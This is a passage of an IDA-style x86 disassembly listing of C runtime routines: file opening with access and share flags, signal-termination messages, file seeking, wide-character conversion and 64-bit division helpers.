		sub	esp, 3Ch
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_4]
		mov	[ebp+var_10], 0Ch
		mov	[ebp+var_C], 0
		test	ebx, 80h
		jz	short loc_44DCF0
		mov	[ebp+var_8], 0
		mov	[ebp+var_1], 10h
		jmp	short loc_44DCFB
; ---------------------------------------------------------------------------


loc_44DCF0:				; CODE XREF: sub_44DCC1+20j
		mov	[ebp+var_8], 1
		mov	[ebp+var_1], 0


loc_44DCFB:				; CODE XREF: sub_44DCC1+2Dj
		test	ebx, 8000h
		jnz	short loc_44DD0F
		test	ebx, 4000h
		jz	short loc_44DD0F
		or	[ebp+var_1], 80h


loc_44DD0F:				; CODE XREF: sub_44DCC1+40j
					; sub_44DCC1+48j
		mov	edi, ebx
		and	edi, 3
		jz	short loc_44DD22
		cmp	edi, 1
		jz	short loc_44DD2B
		cmp	edi, 2
		jz	short loc_44DD34
		jmp	short loc_44DD3D
; ---------------------------------------------------------------------------


loc_44DD22:				; CODE XREF: sub_44DCC1+53j
		mov	[ebp+var_20], 80000000h
		jmp	short loc_44DD50
; ---------------------------------------------------------------------------


loc_44DD2B:				; CODE XREF: sub_44DCC1+58j
		mov	[ebp+var_20], 40000000h
		jmp	short loc_44DD50
; ---------------------------------------------------------------------------


loc_44DD34:				; CODE XREF: sub_44DCC1+5Dj
		mov	[ebp+var_20], 0C0000000h
		jmp	short loc_44DD50
; ---------------------------------------------------------------------------


loc_44DD3D:				; CODE XREF: sub_44DCC1+5Fj
		call	sub_44A781
		mov	dword ptr [eax], 16h
		or	eax, 0FFFFFFFFh
		jmp	loc_44E09A
; ---------------------------------------------------------------------------


loc_44DD50:				; CODE XREF: sub_44DCC1+68j
					; sub_44DCC1+71j ...
		mov	eax, [ebp+arg_8]
		cmp	eax, 20h
		jz	short loc_44DD7D
		jg	short loc_44DD62
		cmp	[ebp+arg_8], 10h
		jz	short loc_44DD74
		jmp	short loc_44DD98
; ---------------------------------------------------------------------------


loc_44DD62:				; CODE XREF: sub_44DCC1+97j
		mov	eax, [ebp+arg_8]
		cmp	eax, 30h
		jz	short loc_44DD86
		jl	short loc_44DD98
		cmp	[ebp+arg_8], 40h
		jz	short loc_44DD8F
		jmp	short loc_44DD98
; ---------------------------------------------------------------------------


loc_44DD74:				; CODE XREF: sub_44DCC1+9Dj
		mov	[ebp+var_28], 0
		jmp	short loc_44DDAB
; ---------------------------------------------------------------------------


loc_44DD7D:				; CODE XREF: sub_44DCC1+95j
		mov	[ebp+var_28], 1
		jmp	short loc_44DDAB
; ---------------------------------------------------------------------------


loc_44DD86:				; CODE XREF: sub_44DCC1+A7j
		mov	[ebp+var_28], 2
		jmp	short loc_44DDAB
; ---------------------------------------------------------------------------


loc_44DD8F:				; CODE XREF: sub_44DCC1+AFj
		mov	[ebp+var_28], 3
		jmp	short loc_44DDAB
; ---------------------------------------------------------------------------


loc_44DD98:				; CODE XREF: sub_44DCC1+9Fj
					; sub_44DCC1+A9j ...
		call	sub_44A781
		mov	dword ptr [eax], 16h
		or	eax, 0FFFFFFFFh
		jmp	loc_44E09A
; ---------------------------------------------------------------------------


loc_44DDAB:				; CODE XREF: sub_44DCC1+BAj
					; sub_44DCC1+C3j ...
		mov	eax, ebx
		and	eax, 700h
		mov	[ebp+var_3C], eax
		cmp	eax, 300h
		jz	short loc_44DE2F
		jg	short loc_44DDDD
		mov	eax, [ebp+var_3C]
		cmp	eax, 100h
		jz	short loc_44DE14
		jg	short loc_44DDD2
		cmp	[ebp+var_3C], 0
		jz	short loc_44DE0B
		jmp	short loc_44DE38
; ---------------------------------------------------------------------------


loc_44DDD2:				; CODE XREF: sub_44DCC1+107j
		cmp	[ebp+var_3C], 200h
		jz	short loc_44DE26
		jmp	short loc_44DE38
; ---------------------------------------------------------------------------


loc_44DDDD:				; CODE XREF: sub_44DCC1+FBj
		mov	eax, [ebp+var_3C]
		cmp	eax, 500h
		jz	short loc_44DE1D
		jg	short loc_44DDF4
		cmp	[ebp+var_3C], 400h
		jz	short loc_44DE0B
		jmp	short loc_44DE38
; ---------------------------------------------------------------------------


loc_44DDF4:				; CODE XREF: sub_44DCC1+126j
		mov	eax, [ebp+var_3C]
		cmp	eax, 600h
		jz	short loc_44DE26
		jl	short loc_44DE38
		cmp	[ebp+var_3C], 700h
		jz	short loc_44DE1D
		jmp	short loc_44DE38
; ---------------------------------------------------------------------------


loc_44DE0B:				; CODE XREF: sub_44DCC1+10Dj
					; sub_44DCC1+12Fj
		mov	[ebp+var_24], 3
		jmp	short loc_44DE4B
; ---------------------------------------------------------------------------


loc_44DE14:				; CODE XREF: sub_44DCC1+105j
		mov	[ebp+var_24], 4
		jmp	short loc_44DE4B
; ---------------------------------------------------------------------------


loc_44DE1D:				; CODE XREF: sub_44DCC1+124j
					; sub_44DCC1+146j
		mov	[ebp+var_24], 1
		jmp	short loc_44DE4B
; ---------------------------------------------------------------------------


loc_44DE26:				; CODE XREF: sub_44DCC1+118j
					; sub_44DCC1+13Bj
		mov	[ebp+var_24], 5
		jmp	short loc_44DE4B
; ---------------------------------------------------------------------------


loc_44DE2F:				; CODE XREF: sub_44DCC1+F9j
		mov	[ebp+var_24], 2
		jmp	short loc_44DE4B
; ---------------------------------------------------------------------------


loc_44DE38:				; CODE XREF: sub_44DCC1+10Fj
					; sub_44DCC1+11Aj ...
		call	sub_44A781
		mov	dword ptr [eax], 16h
		or	eax, 0FFFFFFFFh
		jmp	loc_44E09A
; ---------------------------------------------------------------------------


loc_44DE4B:				; CODE XREF: sub_44DCC1+151j
					; sub_44DCC1+15Aj ...
		mov	[ebp+var_14], 80h
		test	ebx, 100h
		jz	short loc_44DE79
		lea	eax, [ebp+arg_C]
		mov	[ebp+var_2C], eax
		add	eax, 4
		mov	[ebp+var_2C], eax
		mov	eax, [eax-4]
		mov	[ebp+var_30], eax
		test	byte ptr [ebp+var_30], 80h
		jnz	short loc_44DE79
		mov	[ebp+var_14], 1


loc_44DE79:				; CODE XREF: sub_44DCC1+197j
					; sub_44DCC1+1AFj
		test	ebx, 40h
		jz	short loc_44DE8F
		or	[ebp+var_14], 4000000h
		or	[ebp+var_20], 10000h


loc_44DE8F:				; CODE XREF: sub_44DCC1+1BEj
		test	ebx, 1000h
		jz	short loc_44DE9E
		or	[ebp+var_14], 100h


loc_44DE9E:				; CODE XREF: sub_44DCC1+1D4j
		test	ebx, 20h
		jz	short loc_44DEAF
		or	[ebp+var_14], 8000000h
		jmp	short loc_44DEBE
; ---------------------------------------------------------------------------


loc_44DEAF:				; CODE XREF: sub_44DCC1+1E3j
		test	ebx, 10h
		jz	short loc_44DEBE
		or	[ebp+var_14], 10000000h


loc_44DEBE:				; CODE XREF: sub_44DCC1+1ECj
					; sub_44DCC1+1F4j
		call	sub_44CCB1
		mov	esi, eax
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_44DEDD
		call	sub_44A781
		mov	dword ptr [eax], 18h
		or	eax, 0FFFFFFFFh
		jmp	loc_44E09A
; ---------------------------------------------------------------------------


loc_44DEDD:				; CODE XREF: sub_44DCC1+207j
		push	0
		mov	eax, [ebp+var_14]
		push	eax
		mov	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		mov	eax, [ebp+var_28]
		push	eax
		mov	eax, [ebp+var_20]
		push	eax
		mov	eax, [ebp+arg_0]
		push	eax
		call	dword_411DD0
		mov	[ebp+var_18], eax
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_44DF23
		call	dword_411CE8
		push	eax
		call	sub_44A621
		pop	ecx
		push	esi
		call	sub_44D0C1
		pop	ecx
		or	eax, 0FFFFFFFFh
		jmp	loc_44E09A
; ---------------------------------------------------------------------------


loc_44DF23:				; CODE XREF: sub_44DCC1+244j
		mov	eax, [ebp+var_18]
		push	eax
		call	dword_411DEC
		mov	[ebp+var_1C], eax
		test	eax, eax
		jnz	short loc_44DF5A
		mov	eax, [ebp+var_18]
		push	eax
		call	dword_411CF8
		call	dword_411CE8
		push	eax
		call	sub_44A621
		pop	ecx
		push	esi
		call	sub_44D0C1
		pop	ecx
		or	eax, 0FFFFFFFFh
		jmp	loc_44E09A
; ---------------------------------------------------------------------------


loc_44DF5A:				; CODE XREF: sub_44DCC1+271j
		cmp	[ebp+var_1C], 2
		jnz	short loc_44DF66
		or	[ebp+var_1], 40h
		jmp	short loc_44DF70
; ---------------------------------------------------------------------------


loc_44DF66:				; CODE XREF: sub_44DCC1+29Dj
		cmp	[ebp+var_1C], 3
		jnz	short loc_44DF70
		or	[ebp+var_1], 8


loc_44DF70:				; CODE XREF: sub_44DCC1+2A3j
					; sub_44DCC1+2A9j
		mov	eax, [ebp+var_18]
		push	eax
		push	esi
		call	sub_44CE91
		add	esp, 8
		or	[ebp+var_1], 1
		mov	eax, esi
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, esi
		sar	edx, 5
		mov	edx, dword_413988[edx*4]
		mov	cl, [ebp+var_1]
		mov	[edx+eax+4], cl
		movzx	eax, [ebp+var_1]
		test	eax, 48h
		jnz	loc_44E068
		test	eax, 80h
		jz	loc_44E068
		test	ebx, 2
		jz	loc_44E068
		push	2
		push	0FFFFFFFFh
		push	esi
		call	sub_44E1D1
		add	esp, 0Ch
		mov	[ebp+var_34], eax
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_44DFFE
		call	dword_411CE8
		cmp	eax, 83h
		jz	loc_44E068
		push	esi
		call	sub_44B161
		pop	ecx
		push	esi
		call	sub_44D0C1
		pop	ecx
		or	eax, 0FFFFFFFFh
		jmp	loc_44E09A
; ---------------------------------------------------------------------------


loc_44DFFE:				; CODE XREF: sub_44DCC1+314j
		mov	[ebp+var_35], 0
		push	1
		lea	eax, [ebp+var_35]
		push	eax
		push	esi
		call	sub_44EC71
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_44E040
		cmp	[ebp+var_35], 1Ah
		jnz	short loc_44E040
		mov	eax, [ebp+var_34]
		push	eax
		push	esi
		call	sub_44F031
		add	esp, 8
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_44E040
		push	esi
		call	sub_44B161
		pop	ecx
		push	esi
		call	sub_44D0C1
		pop	ecx
		or	eax, 0FFFFFFFFh
		jmp	short loc_44E09A
; ---------------------------------------------------------------------------


loc_44E040:				; CODE XREF: sub_44DCC1+352j
					; sub_44DCC1+358j ...
		push	0
		push	0
		push	esi
		call	sub_44E1D1
		add	esp, 0Ch
		mov	[ebp+var_34], eax
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_44E068
		push	esi
		call	sub_44B161
		pop	ecx
		push	esi
		call	sub_44D0C1
		pop	ecx
		or	eax, 0FFFFFFFFh
		jmp	short loc_44E09A
; ---------------------------------------------------------------------------


loc_44E068:				; CODE XREF: sub_44DCC1+2E4j
					; sub_44DCC1+2EFj ...
		test	[ebp+var_1], 48h
		jnz	short loc_44E091
		test	ebx, 8
		jz	short loc_44E091
		mov	eax, esi
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, esi
		sar	edx, 5
		mov	edx, dword_413988[edx*4]
		lea	eax, [edx+eax+4]
		or	byte ptr [eax],	20h


loc_44E091:				; CODE XREF: sub_44DCC1+3ABj
					; sub_44DCC1+3B3j
		push	esi
		call	sub_44D0C1
		pop	ecx
		mov	eax, esi


loc_44E09A:				; CODE XREF: sub_44DCC1+8Aj
					; sub_44DCC1+E5j ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_44DCC1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44E0A1	proc near		; CODE XREF: sub_44CA31+2p

var_14		= dword	ptr -14h
var_5		= byte ptr -5
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	1
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_44D131
		add	esp, 8
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_44E0C8
		or	eax, 0FFFFFFFFh
		jmp	loc_44E1C5
; ---------------------------------------------------------------------------


loc_44E0C8:				; CODE XREF: sub_44E0A1+1Dj
		cmp	ebx, 1
		jz	loc_44E1C3
		test	ebx, ebx
		jz	short loc_44E0EF
		push	0
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_44D131
		add	esp, 8
		mov	eax, [ebp+arg_0]
		push	eax
		call	ebx
		pop	ecx
		jmp	loc_44E1C3
; ---------------------------------------------------------------------------


loc_44E0EF:				; CODE XREF: sub_44E0A1+32j
		mov	eax, [ebp+arg_0]
		cmp	eax, 2
		jl	short loc_44E144
		cmp	eax, 0Bh
		jg	short loc_44E103
		jmp	dword ptr byte_410120[eax*4]
; ---------------------------------------------------------------------------


loc_44E103:				; CODE XREF: sub_44E0A1+59j
		cmp	[ebp+arg_0], 0Fh
		jz	short loc_44E13B
		jmp	short loc_44E144
; ---------------------------------------------------------------------------
		mov	[ebp+var_4], offset aAbort ; "abort"
		jmp	loc_44E198
; ---------------------------------------------------------------------------
		mov	[ebp+var_4], offset aArithmeticErro ; "arithmetic error"
		jmp	short loc_44E198
; ---------------------------------------------------------------------------
		mov	[ebp+var_4], offset aInvalidExecuta ; "invalid executable code"
		jmp	short loc_44E198
; ---------------------------------------------------------------------------
		mov	[ebp+var_4], offset aInterruption ; "interruption"
		jmp	short loc_44E198
; ---------------------------------------------------------------------------
		mov	[ebp+var_4], offset aInvalidStorage ; "invalid storage access"
		jmp	short loc_44E198
; ---------------------------------------------------------------------------


loc_44E13B:				; CODE XREF: sub_44E0A1+66j
		mov	[ebp+var_4], offset aTerminationReq ; "termination request"
		jmp	short loc_44E198
; ---------------------------------------------------------------------------


loc_44E144:				; CODE XREF: sub_44E0A1+54j
					; sub_44E0A1+68j
		lea	eax, [ebp+var_5]
		mov	[ebp+var_4], eax
		mov	[ebp+var_5], 0


loc_44E14E:				; CODE XREF: sub_44E0A1+E3j
		mov	eax, [ebp+var_4]
		dec	eax
		mov	[ebp+var_14], eax
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		lea	eax, [edx+30h]
		mov	edx, [ebp+var_14]
		mov	[edx], al
		mov	eax, [ebp+arg_0]
		push	eax
		mov	edx, 66666667h
		imul	edx
		pop	eax
		shr	eax, 1Fh
		sar	edx, 2
		add	eax, edx
		mov	[ebp+arg_0], eax
		test	eax, eax
		jnz	short loc_44E14E
		push	offset dword_411324
		push	offset aSignal	; "signal #"
		call	sub_44F1E1
		add	esp, 8


loc_44E198:				; CODE XREF: sub_44E0A1+71j
					; sub_44E0A1+7Dj ...
		push	offset dword_411324
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_44F1E1
		add	esp, 8
		push	offset dword_411324
		push	offset aTerminating ; "	-- terminating\n"
		call	sub_44F1E1
		add	esp, 8
		push	1
		call	sub_449DC1
		pop	ecx


loc_44E1C3:				; CODE XREF: sub_44E0A1+2Aj
					; sub_44E0A1+49j
		xor	eax, eax


loc_44E1C5:				; CODE XREF: sub_44E0A1+22j
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_44E0A1	endp

; ---------------------------------------------------------------------------
		db 8Dh,	0BCh, 27h, 4 dup(0)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44E1D1	proc near		; CODE XREF: sub_44CA51+4Bp
					; sub_44DCC1+306p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		push	ebx
		call	sub_44CF41
		pop	ecx
		mov	edi, eax
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_44E1FA
		call	sub_44A781
		mov	dword ptr [eax], 9
		or	eax, 0FFFFFFFFh
		jmp	short loc_44E243
; ---------------------------------------------------------------------------


loc_44E1FA:				; CODE XREF: sub_44E1D1+17j
		mov	eax, [ebp+arg_8]
		push	eax
		push	0
		mov	eax, [ebp+arg_4]
		push	eax
		push	edi
		call	dword_411E14
		mov	esi, eax
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_44E226
		call	dword_411CE8
		push	eax
		call	sub_44A621
		pop	ecx
		or	eax, 0FFFFFFFFh
		jmp	short loc_44E243
; ---------------------------------------------------------------------------


loc_44E226:				; CODE XREF: sub_44E1D1+41j
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_413988[edx*4]
		lea	eax, [edx+eax+4]
		and	byte ptr [eax],	0FDh
		mov	eax, esi


loc_44E243:				; CODE XREF: sub_44E1D1+27j
					; sub_44E1D1+53j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_44E1D1	endp

; ---------------------------------------------------------------------------
		db 89h,	0FFh
		db 8Dh,	0BCh, 27h, 4 dup(0)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	ebx, [ebp+8]
		cmp	ebx, dword_413A88
		jnb	short loc_44E27C
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_413988[edx*4]
		test	byte ptr [edx+eax+4], 1
		jnz	short loc_44E28C


loc_44E27C:				; CODE XREF: DMN1:0044E25Fj
		call	sub_44A781
		mov	dword ptr [eax], 9
		or	eax, 0FFFFFFFFh
		jmp	short loc_44E2AF
; ---------------------------------------------------------------------------


loc_44E28C:				; CODE XREF: DMN1:0044E27Aj
		push	ebx
		call	sub_44D061
		pop	ecx
		mov	eax, [ebp+10h]
		push	eax
		mov	eax, [ebp+0Ch]
		push	eax
		push	ebx
		call	sub_44E1D1
		add	esp, 0Ch
		mov	esi, eax
		push	ebx
		call	sub_44D0C1
		pop	ecx
		mov	eax, esi


loc_44E2AF:				; CODE XREF: DMN1:0044E28Aj
		pop	esi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		db 8Dh,	0BCh, 27h, 4 dup(0)
		db 8Dh,	0BCh, 27h, 4 dup(0)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44E2C1	proc near		; CODE XREF: sub_44D291+9Bp

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= word ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		cmp	off_411924, 0
		jnz	loc_44E3A8
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_8], eax
		cmp	[ebp+arg_0], 0
		jnz	short loc_44E2FC
		mov	eax, [ebp+arg_8]
		mov	ecx, dword_4101D4
		mov	ebx, dword_4101D8
		mov	[eax], ecx
		mov	[eax+4], ebx
		xor	eax, eax
		jmp	loc_44E4FE
; ---------------------------------------------------------------------------


loc_44E2FC:				; CODE XREF: sub_44E2C1+1Ej
		test	[ebp+arg_4], 0FF80h
		jnz	short loc_44E31C
		mov	eax, [ebp+var_8]
		lea	edx, [eax+1]
		mov	[ebp+var_8], edx
		movzx	edx, [ebp+arg_4]
		mov	[eax], dl
		mov	[ebp+var_4], 0
		jmp	short loc_44E395
; ---------------------------------------------------------------------------


loc_44E31C:				; CODE XREF: sub_44E2C1+41j
		test	[ebp+arg_4], 0F800h
		jnz	short loc_44E345
		mov	eax, [ebp+var_8]
		lea	edx, [eax+1]
		mov	[ebp+var_8], edx
		movzx	edx, [ebp+arg_4]
		sar	edx, 6
		or	edx, 0C0h
		mov	[eax], dl
		mov	[ebp+var_4], 1
		jmp	short loc_44E395
; ---------------------------------------------------------------------------


loc_44E345:				; CODE XREF: sub_44E2C1+61j
		mov	eax, [ebp+var_8]
		lea	edx, [eax+1]
		mov	[ebp+var_8], edx
		movzx	edx, [ebp+arg_4]
		sar	edx, 0Ch
		and	edx, 0Fh
		or	edx, 0E0h
		mov	[eax], dl
		mov	[ebp+var_4], 2
		jmp	short loc_44E395
; ---------------------------------------------------------------------------


loc_44E369:				; CODE XREF: sub_44E2C1+D8j
		mov	eax, [ebp+var_8]
		lea	edx, [eax+1]
		mov	[ebp+var_8], edx
		mov	edx, [ebp+var_4]
		dec	edx
		mov	[ebp+var_4], edx
		movzx	ecx, [ebp+arg_4]
		mov	[ebp+var_C], ecx
		lea	ecx, [edx+edx*2]
		add	ecx, ecx
		mov	edx, [ebp+var_C]
		sar	edx, cl
		and	edx, 3Fh
		or	edx, 80h
		mov	[eax], dl


loc_44E395:				; CODE XREF: sub_44E2C1+59j
					; sub_44E2C1+82j ...
		cmp	[ebp+var_4], 0
		jg	short loc_44E369
		mov	eax, [ebp+var_8]
		mov	edx, [ebp+arg_0]
		sub	eax, edx
		jmp	loc_44E4FE
; ---------------------------------------------------------------------------


loc_44E3A8:				; CODE XREF: sub_44E2C1+Ej
		mov	eax, [ebp+arg_8]
		movzx	eax, word ptr [eax+6]
		mov	byte ptr [ebp+var_4+3],	al
		mov	[ebp+var_10], 0
		mov	[ebp+var_C], 0
		mov	[ebp+var_8], 0
		cmp	[ebp+arg_0], 0
		jnz	short loc_44E3F3
		mov	eax, [ebp+arg_8]
		mov	ecx, dword_4101D4
		mov	ebx, dword_4101D8
		mov	[eax], ecx
		mov	[eax+4], ebx
		mov	eax, off_411924
		movzx	eax, word ptr [eax]
		and	eax, 0F00h
		jmp	loc_44E4FE
; ---------------------------------------------------------------------------


loc_44E3F3:				; CODE XREF: sub_44E2C1+10Aj
					; sub_44E2C1+229j
		mov	al, byte ptr [ebp+var_4+3]
		cmp	al, 10h
		jnb	short loc_44E439
		movzx	eax, al
		mov	eax, off_411964[eax*4]
		mov	[ebp+var_18], eax
		test	eax, eax
		jz	short loc_44E439
		movzx	eax, byte_4118A0
		cmp	[ebp+var_8], eax
		jge	short loc_44E439
		mov	eax, [ebp+var_C]
		inc	eax
		mov	[ebp+var_C], eax
		cmp	eax, 0FF0h
		jge	short loc_44E439
		movzx	eax, byte ptr [ebp+arg_4]
		mov	edx, [ebp+var_18]
		mov	ax, [edx+eax*2]
		mov	[ebp+var_12], ax
		test	ax, ax
		jnz	short loc_44E44C


loc_44E439:				; CODE XREF: sub_44E2C1+137j
					; sub_44E2C1+148j ...
		call	sub_44A781
		mov	dword ptr [eax], 2Ah
		or	eax, 0FFFFFFFFh
		jmp	loc_44E4FE
; ---------------------------------------------------------------------------


loc_44E44C:				; CODE XREF: sub_44E2C1+176j
		movzx	eax, [ebp+var_12]
		mov	edx, eax
		and	edx, 0F00h
		sar	edx, 8
		mov	byte ptr [ebp+var_4+3],	dl
		test	eax, 8000h
		jz	short loc_44E478
		movzx	eax, [ebp+arg_4]
		and	eax, 0FFFFFF00h
		movzx	edx, byte ptr [ebp+var_12]
		or	eax, edx
		mov	[ebp+arg_4], ax


loc_44E478:				; CODE XREF: sub_44E2C1+1A2j
		test	[ebp+var_12], 1000h
		jz	short loc_44E49A
		movzx	eax, [ebp+arg_4]
		mov	edx, eax
		shl	edx, 8
		sar	eax, 8
		and	eax, 0FFh
		or	edx, eax
		mov	ax, dx
		mov	[ebp+arg_4], ax


loc_44E49A:				; CODE XREF: sub_44E2C1+1BDj
		test	[ebp+var_12], 2000h
		jz	short loc_44E4DE
		mov	eax, [ebp+var_8]
		lea	edx, [eax+1]
		mov	[ebp+var_8], edx
		test	[ebp+var_12], 0FFh
		jz	short loc_44E4BC
		movzx	edx, [ebp+var_12]
		mov	[ebp+var_1C], edx
		jmp	short loc_44E4C3
; ---------------------------------------------------------------------------


loc_44E4BC:				; CODE XREF: sub_44E2C1+1F0j
		movzx	edx, [ebp+arg_4]
		mov	[ebp+var_1C], edx


loc_44E4C3:				; CODE XREF: sub_44E2C1+1F9j
		mov	edx, [ebp+var_1C]
		mov	ecx, [ebp+arg_0]
		mov	[ecx+eax], dl
		test	dl, dl
		jnz	short loc_44E4D7
		mov	[ebp+var_10], 1


loc_44E4D7:				; CODE XREF: sub_44E2C1+20Dj
		mov	[ebp+var_C], 0


loc_44E4DE:				; CODE XREF: sub_44E2C1+1DFj
		test	[ebp+var_12], 4000h
		jnz	short loc_44E4F0
		cmp	[ebp+var_10], 0
		jz	loc_44E3F3


loc_44E4F0:				; CODE XREF: sub_44E2C1+223j
		mov	edx, [ebp+arg_8]
		movzx	eax, byte ptr [ebp+var_4+3]
		mov	[edx+6], ax
		mov	eax, [ebp+var_8]


loc_44E4FE:				; CODE XREF: sub_44E2C1+36j
					; sub_44E2C1+E2j ...
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_44E2C1	endp

; ---------------------------------------------------------------------------
		db 8Dh,	0BCh, 27h, 4 dup(0)
		db 8Dh,	0BCh, 27h, 4 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_44E511	proc near		; CODE XREF: sub_44D3E1+CFp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	eax, [esp+4+arg_4]
		or	eax, eax
		jnz	short loc_44E532
		mov	ecx, [esp+4+arg_0]
		mov	eax, [esp+4+arg_C]
		xor	edx, edx
		div	ecx
		mov	eax, [esp+4+arg_8]
		div	ecx
		mov	eax, edx
		xor	edx, edx
		jmp	short loc_44E582
; ---------------------------------------------------------------------------


loc_44E532:				; CODE XREF: sub_44E511+7j
		mov	ecx, eax
		mov	ebx, [esp+4+arg_0]
		mov	edx, [esp+4+arg_C]
		mov	eax, [esp+4+arg_8]


loc_44E540:				; CODE XREF: sub_44E511+39j
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_44E540
		div	ebx
		mov	ecx, eax
		mul	[esp+4+arg_4]
		xchg	eax, ecx
		mul	[esp+4+arg_0]
		add	edx, ecx
		jb	short loc_44E56B
		cmp	edx, [esp+4+arg_C]
		ja	short loc_44E56B
		jb	short loc_44E573
		cmp	eax, [esp+4+arg_8]
		jbe	short loc_44E573


loc_44E56B:				; CODE XREF: sub_44E511+4Aj
					; sub_44E511+50j
		sub	eax, [esp+4+arg_0]
		sbb	edx, [esp+4+arg_4]


loc_44E573:				; CODE XREF: sub_44E511+52j
					; sub_44E511+58j
		sub	eax, [esp+4+arg_8]
		sbb	edx, [esp+4+arg_C]
		neg	edx
		neg	eax
		sbb	edx, 0


loc_44E582:				; CODE XREF: sub_44E511+1Fj
		pop	ebx
		retn	10h
sub_44E511	endp

; ---------------------------------------------------------------------------
		db 8Dh,	7Ch, 27h, 0
		db 8Dh,	0BCh, 27h, 4 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_44E591	proc near		; CODE XREF: sub_44D3E1+116p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	edi
		push	esi
		push	ebx
		xor	edi, edi
		mov	eax, [esp+0Ch+arg_C]
		or	eax, eax
		jge	short loc_44E5B2
		inc	edi
		mov	edx, [esp+0Ch+arg_8]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_C], eax
		mov	[esp+0Ch+arg_8], edx


loc_44E5B2:				; CODE XREF: sub_44E591+Bj
		mov	eax, [esp+0Ch+arg_4]
		or	eax, eax
		jge	short loc_44E5CE
		inc	edi
		mov	edx, [esp+0Ch+arg_0]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_4], eax
		mov	[esp+0Ch+arg_0], edx


loc_44E5CE:				; CODE XREF: sub_44E591+27j
		or	eax, eax
		jnz	short loc_44E5EA
		mov	ecx, [esp+0Ch+arg_0]
		mov	eax, [esp+0Ch+arg_C]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+0Ch+arg_8]
		div	ecx
		mov	edx, ebx
		jmp	short loc_44E62B
; ---------------------------------------------------------------------------


loc_44E5EA:				; CODE XREF: sub_44E591+3Fj
		mov	ebx, eax
		mov	ecx, [esp+0Ch+arg_0]
		mov	edx, [esp+0Ch+arg_C]
		mov	eax, [esp+0Ch+arg_8]


loc_44E5F8:				; CODE XREF: sub_44E591+71j
		shr	ebx, 1
		rcr	ecx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ebx, ebx
		jnz	short loc_44E5F8
		div	ecx
		mov	esi, eax
		mul	[esp+0Ch+arg_4]
		mov	ecx, eax
		mov	eax, [esp+0Ch+arg_0]
		mul	esi
		add	edx, ecx
		jb	short loc_44E626
		cmp	edx, [esp+0Ch+arg_C]
		ja	short loc_44E626
		jb	short loc_44E627
		cmp	eax, [esp+0Ch+arg_8]
		jbe	short loc_44E627


loc_44E626:				; CODE XREF: sub_44E591+85j
					; sub_44E591+8Bj
		dec	esi


loc_44E627:				; CODE XREF: sub_44E591+8Dj
					; sub_44E591+93j
		xor	edx, edx
		mov	eax, esi


loc_44E62B:				; CODE XREF: sub_44E591+57j
		dec	edi
		jnz	short loc_44E635
		neg	edx
		neg	eax
		sbb	edx, 0


loc_44E635:				; CODE XREF: sub_44E591+9Bj
		pop	ebx
		pop	esi
		pop	edi
		retn	10h
sub_44E591	endp

; ---------------------------------------------------------------------------
		db 8Dh,	0BFh, 4	dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_44E641	proc near		; CODE XREF: sub_44D3E1+13Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_C]
